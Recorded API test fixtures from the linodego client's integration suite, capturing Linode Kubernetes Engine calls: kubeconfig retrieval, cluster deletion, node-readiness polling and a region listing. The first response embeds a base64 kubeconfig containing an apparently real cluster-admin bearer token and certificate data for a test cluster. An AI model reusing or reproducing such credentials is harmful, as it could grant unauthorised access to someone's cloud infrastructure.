ZVUU5eGRqVkhVblZMV0UxbmVVUnhPVXQyYjFSNFF6UlpMekJIVjJSME9WcFVaR1JaY0RWcVZGTlVjRzFFTVZaRVNGQjJaMGRqU2dvelVVZHRZVUkxTVVoWWNWcEhVVE4yV1Vrd1JXSnZVVFJFY0RBNWVWcExkbWx0YkZZdlZYaEpiRzFKYUVwbVRHcHZWMU5OV2tnelkwbHhjbEl3YUZsUUNqVm1TemhTVURGd1JtTnplVmhRVVZWbVJYWmFURWhoVEc4NU9YbG1Va2d4U1hSRWJXNXlNMmhaVUROUFJteEZVVE16V0hWWVJUUkllRlJVY2pOb01XUUtORFpJY214eEsyNUxXRkJsQ2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLCiAgICBzZXJ2ZXI6IGh0dHBzOi8vMzdlNjA2NGUtNWY5MC00NjI1LWJiZTQtMjg0OGJkYmVmMmJjLmNwYzEtY2pqMS10ZXN0aW5nLmxpbm9kZWxrZS5uZXQ6NDQzCiAgbmFtZTogbGtlNzkzOQoKdXNlcnM6Ci0gbmFtZTogbGtlNzkzOS1hZG1pbgogIHVzZXI6CiAgICBhcy11c2VyLWV4dHJhOiB7fQogICAgdG9rZW46IGV5SmhiR2NpT2lKU1V6STFOaUlzSW10cFpDSTZJak50VUU5UGJHRndaWE15WmpkSWMwdElVMnhzWjBwRGF6UnBPR3RDZG05NVMxVTBTMWxXUjFsZkxWa2lmUS5leUpwYzNNaU9pSnJkV0psY201bGRHVnpMM05sY25acFkyVmhZMk52ZFc1MElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl1WVcxbGMzQmhZMlVpT2lKcmRXSmxMWE41YzNSbGJTSXNJbXQxWW1WeWJtVjBaWE11YVc4dmMyVnlkbWxqWldGalkyOTFiblF2YzJWamNtVjBMbTVoYldVaU9pSnNhMlV0WVdSdGFXNHRkRzlyWlc0dGRuTnFablFpTENKcmRXSmxjbTVsZEdWekxtbHZMM05sY25acFkyVmhZMk52ZFc1MEwzTmxjblpwWTJVdFlXTmpiM1Z1ZEM1dVlXMWxJam9pYkd0bExXRmtiV2x1SWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXpaWEoyYVdObExXRmpZMjkxYm5RdWRXbGtJam9pTldabU1XSXhZVE10TWpsa09TMDBZbVEyTFRrMk1XUXRORGN6WlRZNU9UTm1PRFE1SWl3aWMzVmlJam9pYzNsemRHVnRPbk5sY25acFkyVmhZMk52ZFc1ME9tdDFZbVV0YzNsemRHVnRPbXhyWlMxaFpHMXBiaUo5LkpBeERxU0FibmFXODJRbVBITEVHTEl3b0ludDRuZENhTlBkZFdXN2I0OF9nUWJKRDBjMXM3cFE2REJFdi1UTmttUlhOMmhPZzg3UlFoX3kzN0VuNkNKLTRPOWV2aVVPV2ltUk5kX2paSFJHR29iWm1RQzVUa0wzc3NxWXJqSXMxNDlHOV95MXFuOFF4MHgtbmJZOVFZclg4dVpycE5pc0dfcElNYjF1d1VsdklfN2ZOLTNPRnhpWEpFcjEyMnlOQU1iUTF6UVJocElIQWRuN3FwRFFPX0luQ0UxWDNPc2MtWG04TS1LbUdrcVEwdG1BMm56Q1V2NEZhSGZMeGtOSUVCT2s0ZmNFMUtrQzV4QXBiaUZJdUxNUXZXVE1aNHgtM1hLc3pVZ3JsVzNmSnlHRFcwZHpfcTJpMVJYQVlCLVMtUEM3YmpwdlFSMXhEN1Frc3ZINWNDZwoKY29udGV4dHM6Ci0gY29udGV4dDoKICAgIGNsdXN0ZXI6IGxrZTc5MzkKICAgIG5hbWVzcGFjZTogZGVmYXVsdAogICAgdXNlcjogbGtlNzkzOS1hZG1pbgogIG5hbWU6IGxrZTc5MzktY3R4CgpjdXJyZW50LWNvbnRleHQ6IGxrZTc5MzktY3R4Cg=="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestLKECluster_WaitForReady_Cluster.yaml000066400000000000000000000502721474652371000343350ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://37e6064e-5f90-4625-bbe4-2848bdbef2bc.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"462"},"items":[]} headers: Audit-Id: - 7b217614-e3b5-4e9c-968b-f5d6c6087b65 Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - f04ac65d-7a0f-48f9-9bfd-9039bc115100 X-Kubernetes-Pf-Prioritylevel-Uid: - d3c4ef91-2481-4cdd-874a-1d91708627cf status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://37e6064e-5f90-4625-bbe4-2848bdbef2bc.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"470"},"items":[]} headers: Audit-Id: - bf5e067e-6a37-4749-b269-e61f3810beb2 Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - f04ac65d-7a0f-48f9-9bfd-9039bc115100 X-Kubernetes-Pf-Prioritylevel-Uid: - d3c4ef91-2481-4cdd-874a-1d91708627cf status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://37e6064e-5f90-4625-bbe4-2848bdbef2bc.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"476"},"items":[]} headers: Audit-Id: - d36b79f4-11ef-4974-bb46-4f6f1b1eb1c2 Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - f04ac65d-7a0f-48f9-9bfd-9039bc115100 X-Kubernetes-Pf-Prioritylevel-Uid: - d3c4ef91-2481-4cdd-874a-1d91708627cf status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://37e6064e-5f90-4625-bbe4-2848bdbef2bc.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"532"},"items":[{"metadata":{"name":"lke7939-9499-6566c9b90000","uid":"89da0a8e-befb-4c0b-b292-2c04902d010c","resourceVersion":"527","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-1","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"us-east","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke7939-9499-6566c9b90000","kubernetes.io/os":"linux","lke.linode.com/pool-id":"9499","node.k8s.linode.com/host-uuid":"3a191bdfc30b9e396b3621d4aad6a565205cf57f","node.kubernetes.io/instance-type":"g6-standard-1","topology.kubernetes.io/region":"us-east"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"unix:///run/containerd/containerd.sock","lke.linode.com/wgip":"172.31.0.1","lke.linode.com/wgpub":"MQfoqAw1vKdQtRzJlQcl0y6ZtOmCZZ1W+L+8AQ++w0c=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.0/25\"":{}}}}},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.k8s.linode.com/host-uuid":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{".":{},"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"Hostname\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{".":{},"f:address":{},"f:type":{}}}}},"subresource":"status"},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:spec":{"f:taints":{}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}}]},"spec":{"podCIDR":"10.2.0.0/25","podCIDRs":["10.2.0.0/25"],"providerID":"linode://25218330","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"1","ephemeral-storage":"51507660Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"2027300Ki","pods":"110"},"allocatable":{"cpu":"1","ephemeral-storage":"47469459378","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"1924900Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"[container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized, CSINode is not yet initialized]"}],"addresses":[{"type":"Hostname","address":"lke7939-9499-6566c9b90000"},{"type":"ExternalIP","address":"172.104.222.251"},{"type":"InternalIP","address":"192.168.190.31"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"55e72338dc3346e08a3d5f9063bd0a9d","systemUUID":"55e72338dc3346e08a3d5f9063bd0a9d","bootID":"8aef1e8b-84e7-484e-a623-d5484908bc22","kernelVersion":"6.1.0-22-cloud-amd64","osImage":"Debian GNU/Linux 12 (bookworm)","containerRuntimeVersion":"containerd://1.7.18","kubeletVersion":"v1.29.2","kubeProxyVersion":"v1.29.2","operatingSystem":"linux","architecture":"amd64"}}}]} headers: Audit-Id: - f133ea87-933a-4603-9fdc-1059f0bc297e Cache-Control: - no-cache, private Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - f04ac65d-7a0f-48f9-9bfd-9039bc115100 X-Kubernetes-Pf-Prioritylevel-Uid: - d3c4ef91-2481-4cdd-874a-1d91708627cf status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* User-Agent: - integration.test/v0.0.0 (darwin/amd64) kubernetes/$Format url: https://37e6064e-5f90-4625-bbe4-2848bdbef2bc.cpc1-cjj1-testing.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"639"},"items":[{"metadata":{"name":"lke7939-9499-132b50d60000","uid":"060808e9-58f0-49c1-b321-6e15c0c0de14","resourceVersion":"596","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-1","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"us-east","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke7939-9499-132b50d60000","kubernetes.io/os":"linux","lke.linode.com/pool-id":"9499","node.k8s.linode.com/host-uuid":"4aeb9f6781d440986269692c626f2d0fd0b867f1","node.kubernetes.io/instance-type":"g6-standard-1","topology.kubernetes.io/region":"us-east"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"unix:///run/containerd/containerd.sock","lke.linode.com/wgip":"172.31.0.2","lke.linode.com/wgpub":"MJOxvyTs62Rz0aJMFD9Ot6qdEPcVsd5P9rPJKJTmjxQ=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.128/25\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.k8s.linode.com/host-uuid":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{".":{},"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"Hostname\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{".":{},"f:address":{},"f:type":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:message":{}}},"f:images":{}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.0.128/25","podCIDRs":["10.2.0.128/25"],"providerID":"linode://25218332","taints":[{"key":"lke.linode.com/labels-taints","value":"waiting","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"1","ephemeral-storage":"51507660Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"2027300Ki","pods":"110"},"allocatable":{"cpu":"1","ephemeral-storage":"47469459378","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"1924900Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized"}],"addresses":[{"type":"Hostname","address":"lke7939-9499-132b50d60000"},{"type":"ExternalIP","address":"172.104.221.146"},{"type":"InternalIP","address":"192.168.191.65"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"e9e350f1da244e1da1714d890a8b8cdf","systemUUID":"e9e350f1da244e1da1714d890a8b8cdf","bootID":"f2bafe53-c0bb-4ee0-a3db-b96ff9b99200","kernelVersion":"6.1.0-22-cloud-amd64","osImage":"Debian GNU/Linux 12 (bookworm)","containerRuntimeVersion":"containerd://1.7.18","kubeletVersion":"v1.29.2","kubeProxyVersion":"v1.29.2","operatingSystem":"linux","architecture":"amd64"},"images":[{"names":["registry.k8s.io/pause@sha256:1ff6c18fbef2045af6b9c16bf034cc421a29027b800e4f9b68ae9b1cb3e9ae07","registry.k8s.io/pause:3.5"],"sizeBytes":301416}]}},{"metadata":{"name":"lke7939-9499-6566c9b90000","uid":"89da0a8e-befb-4c0b-b292-2c04902d010c","resourceVersion":"612","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-1","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"us-east","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke7939-9499-6566c9b90000","kubernetes.io/os":"linux","lke.linode.com/pool-id":"9499","node.k8s.linode.com/host-uuid":"3a191bdfc30b9e396b3621d4aad6a565205cf57f","node.kubernetes.io/instance-type":"g6-standard-1","topology.kubernetes.io/region":"us-east"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"unix:///run/containerd/containerd.sock","lke.linode.com/wgip":"172.31.0.1","lke.linode.com/wgpub":"MQfoqAw1vKdQtRzJlQcl0y6ZtOmCZZ1W+L+8AQ++w0c=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.0/25\"":{}}}}},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.k8s.linode.com/host-uuid":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{}}}},{"manager":"linode-cloud-controller-manager-linux","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{".":{},"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"Hostname\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{".":{},"f:address":{},"f:type":{}}}}},"subresource":"status"},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:lastTransitionTime":{},"f:message":{},"f:reason":{},"f:status":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.0.0/25","podCIDRs":["10.2.0.0/25"],"providerID":"linode://25218330"},"status":{"capacity":{"cpu":"1","ephemeral-storage":"51507660Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"2027300Ki","pods":"110"},"allocatable":{"cpu":"1","ephemeral-storage":"47469459378","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"1924900Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"True","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletReady","message":"kubelet is posting ready status. AppArmor enabled"}],"addresses":[{"type":"Hostname","address":"lke7939-9499-6566c9b90000"},{"type":"ExternalIP","address":"172.104.222.251"},{"type":"InternalIP","address":"192.168.190.31"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"55e72338dc3346e08a3d5f9063bd0a9d","systemUUID":"55e72338dc3346e08a3d5f9063bd0a9d","bootID":"8aef1e8b-84e7-484e-a623-d5484908bc22","kernelVersion":"6.1.0-22-cloud-amd64","osImage":"Debian GNU/Linux 12 (bookworm)","containerRuntimeVersion":"containerd://1.7.18","kubeletVersion":"v1.29.2","kubeProxyVersion":"v1.29.2","operatingSystem":"linux","architecture":"amd64"}}}]} headers: Audit-Id: - ba06982e-7894-4438-9690-14a0a198e57e Cache-Control: - no-cache, private Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - f04ac65d-7a0f-48f9-9bfd-9039bc115100 X-Kubernetes-Pf-Prioritylevel-Uid: - d3c4ef91-2481-4cdd-874a-1d91708627cf status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_withACL.yaml000066400000000000000000001155661474652371000316560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": 